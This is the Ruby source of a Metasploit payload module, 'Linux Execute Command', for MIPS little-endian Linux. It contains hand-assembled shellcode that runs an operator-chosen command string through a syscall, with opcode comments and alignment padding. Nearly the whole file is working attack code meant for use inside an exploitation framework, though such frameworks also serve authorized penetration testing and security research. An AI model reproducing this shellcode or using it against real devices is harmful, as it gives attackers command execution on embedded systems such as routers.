80 lines
2.0 KiB
Ruby
80 lines
2.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 52
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::Linux
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'Linux Execute Command',
|
|
'Description' => %q{
|
|
A very small shellcode for executing commands.
|
|
This module is sometimes helpful for testing purposes as well as
|
|
on targets with extremely limited buffer space.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload
|
|
'entropy@phiral.net' #original payload
|
|
],
|
|
'References' =>
|
|
[
|
|
['EDB', '17940']
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_MIPSLE,
|
|
'Payload' =>
|
|
{
|
|
'Offsets' => {} ,
|
|
'Payload' => ''
|
|
})
|
|
)
|
|
register_options(
|
|
[
|
|
OptString.new('CMD', [ true, "The command string to execute" ]),
|
|
])
|
|
end
|
|
|
|
#
|
|
# Returns the command string to use for execution
|
|
#
|
|
def command_string
|
|
return datastore['CMD'] || ''
|
|
end
|
|
|
|
def generate(_opts = {})
|
|
|
|
shellcode =
|
|
"\x66\x06\x06\x24" + # li a2,1638
|
|
"\xff\xff\xd0\x04" + # bltzal a2,4100b4
|
|
"\xff\xff\x06\x28" + # slti a2,zero,-1
|
|
"\xe0\xff\xbd\x27" + # addiu sp,sp,-32
|
|
"\x01\x10\xe4\x27" + # addiu a0,ra,4097
|
|
"\x1f\xf0\x84\x24" + # addiu a0,a0,-4065
|
|
"\xe8\xff\xa4\xaf" + # sw a0,-24(sp)
|
|
"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
|
|
"\xe8\xff\xa5\x27" + # addiu a1,sp,-24
|
|
"\xab\x0f\x02\x24" + # li v0,4011
|
|
"\x0c\x01\x01\x01" # syscall 0x40404
|
|
|
|
#
|
|
# Constructs the payload
|
|
#
|
|
|
|
shellcode = shellcode + command_string + "\x00"
|
|
|
|
# we need to align our shellcode to 4 bytes
|
|
(shellcode = shellcode + "\x00") while shellcode.length%4 != 0
|
|
|
|
return super + shellcode
|
|
|
|
end
|
|
end
|